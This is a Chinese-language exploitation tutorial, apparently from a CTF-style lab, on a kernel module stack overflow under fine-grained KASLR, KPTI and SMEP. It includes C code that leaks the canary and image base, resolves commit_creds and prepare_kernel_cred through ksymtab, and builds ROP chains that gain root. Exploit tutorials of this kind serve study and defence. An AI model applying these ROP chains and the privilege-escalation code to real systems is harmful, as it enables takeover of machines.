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介绍
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kaslr会随机化内核的符号地址。这些随机化是细粒度的，即不同符号可能基地址不同，泄漏基地址加偏移量的方式将不会对所有符号起作用。
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从text段开始到__x86_retpoline_r15范围内到镜像的基地址是固定的，
commit_creds()和prepare_kernel_cred()没有驻留在这个区域，但是可以在这里搜索rop。
/ # cat /proc/kallsyms |grep __x86_retpoline_r15ffffffff81400dc6 T __x86_retpoline_r15
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绕过kpti的rop
swapgs_restore_regs_and_return_to_usermode()函数包含在text段开始到__x86_retpoline_r15范围内。
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内核符号表ksymtab在这个范围内，可以用来计算。
commit_creds()和prepare_kernel_cred()
/ # cat /proc/kallsyms |grep ksymtab|moreffffffff81f85198 r __ksymtab_IO_APIC_get_PCI_irq_vectorffffffff81f85198 R __start___ksymtab
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符号表里 ffffffff81000000 T _stext表示上述的text段开始到__x86_retpoline_r15范围内的基地址。
-s-m 128M-cpu kvm64,+smep-kernel vmlinuz-initrd initramfs.cpio.gz-hdb flag.txt-snapshot-nographic-monitor /dev/null-no-reboot-append "console=ttyS0 kaslr kpti=1 nosmap quiet panic=1"
利用需要的一些rop和结构
unsigned long pop_rax_ret = image_base + 0x4d11UL; // pop rax; retunsigned long read_mem_pop1_ret = image_base + 0x4aaeUL; // mov eax, qword ptr [rax + 0x10]; pop rbp; ret;unsigned long pop_rdi_rbp_ret = image_base + 0x38a0UL; // pop rdi; pop rbp; ret;
struct kernel_symbol { int value_offset; int name_offset; int namespace_offset; };-
value_offset表示符号的实际偏移量（这个偏移量能够找到真实地址）。 -
name_offset表示符号名字。 -
namespace_offset表示命名空间偏移 -
注意这些地址是int（32位，而非64位）
ffffffff81f85198 R __start___ksymtab是ksymtab结构的开始，接下来需要定位commit_creds函数在表中的具体位置。/ # cat /proc/kallsyms |grep ksymtab_commit_credsffffffff81f87d90 r __ksymtab_commit_creds/ # cat /proc/kallsyms |grep ksymtab_prepare_kernel_credffffffff81f8d4fc r __ksymtab_prepare_kernel_cred
__ksymtab_commit_creds+*__ksymtab_commit_creds
漏洞利用
# cat /proc/kallsyms |grep __x86_retpoline_r15ffffffff81400dc6 T __x86_retpoline_r15ffffffff81f86140 r __ksymtab___x86_retpoline_r15ffffffff81fb1ca9 r __kstrtab___x86_retpoline_r15# cat /proc/kallsyms |grep stex|moreffffffff81000000 T _stextffffffff81cdcfa0 r snstext
泄漏
unsigned n =40;unsigned long leak[n]; // n*8,unsigned long in x64 is 8 bytes longssize_t r_bytes=read(global_fd,leak,sizeof(leak));// int a[1];// read(1,a,1);cookie=leak[16];//0x80/8=0x10=16base_image=leak[38]-0xa157;pop_rax_ret=base_image+0x4d11UL;kpti_trampoline = base_image + 0x200f10UL + 22UL;read_mem_pop1_ret = base_image + 0x4aaeUL;pop_rdi_rbp_ret = base_image + 0x38a0UL;ksymtab_prepare_kernel_cred = base_image + 0xf8d4fcUL;ksymtab_commit_creds = base_image + 0xf87d90UL;printf("[*] leaked %zd bytesn",r_bytes);printf("[*] leaked canary: %lxn",cookie);printf("[*] leaked image base: %lxn",base_image);leak_commit_creds();
ksymtab_commit_creds+*(int)ksymtab_commit_creds，下面代码主要是获得*ksymtab_commit_creds。同样的方式可以获得prepare_kernel_cred的地址。需要注意的是-
write函数下面的代码是不会执行的：write进入内核模块触发漏洞，构造的rop链从内核模块返回到用户态中指定的地址。get_commit_creds函数不会返回，所以接下来的代码是不能返回的。
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kpti_trampoline过程中不会修改rax寄存器的值。
void get_commit_creds(void){__asm__(".intel_syntax noprefix;""mov tmp_store, rax;"".att_syntax;");commit_creds = ksymtab_commit_creds + (int)tmp_store;printf(" --> commit_creds: %lxn", commit_creds);leak_prepare_kernel_cred();}void leak_commit_creds(){unsigned n=50;unsigned long payload[n];unsigned off=16;payload[off++]=cookie;payload[off++]=0x0;payload[off++]=0x0;payload[off++]=0x0;payload[off++]=pop_rax_ret;payload[off++]=ksymtab_commit_creds-0x10;payload[off++]=read_mem_pop1_ret;payload[off++]=0x0;payload[off++]=kpti_trampoline;payload[off++] = 0x0; // dummy raxpayload[off++] = 0x0; // dummy rdipayload[off++] = (unsigned long)get_commit_creds;payload[off++] = user_cs;payload[off++] = user_rflags;payload[off++] = user_sp;payload[off++] = user_ss;puts("[*] Prepared payload to leak commit_creds()");ssize_t w = write(global_fd, payload, sizeof(payload));puts("[!] Should never be reached");}
commit_creds(prepare_kernel_cred(0))需要分为两次，第一次调用的结果返回到用户态保存，第二次用保存的结果。void after_prepare_kernel_cred(void){__asm__(".intel_syntax noprefix;""mov tmp_store, rax;"".att_syntax;");returned_creds_struct = tmp_store;printf(" --> returned_creds_struct: %lxn", returned_creds_struct);call_commit_creds();}void call_prepare_kernel_cred(){printf("call_prepare_kernel_credn");unsigned n = 50;unsigned long payload[n];unsigned off = 16;payload[off++] = cookie;payload[off++] = 0x0; // rbxpayload[off++] = 0x0; // r12payload[off++] = 0x0; // rbppayload[off++] = pop_rdi_rbp_ret; // return addresspayload[off++] = 0; // rdi <- 0payload[off++] = 0; // dummy rbppayload[off++] = prepare_kernel_cred; // prepare_kernel_cred(0)payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode + 22payload[off++] = 0x0; // dummy raxpayload[off++] = 0x0; // dummy rdipayload[off++] = (unsigned long)after_prepare_kernel_cred;payload[off++] = user_cs;payload[off++] = user_rflags;payload[off++] = user_sp;payload[off++] = user_ss;puts("[*] Prepared payload to call prepare_kernel_cred(0)");ssize_t w = write(global_fd, payload, sizeof(payload));puts("[!] Should never be reached");}
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本文始发于微信公众号（SecIN技术平台）：原创 | 内核缓冲区溢出3--开启kaslr
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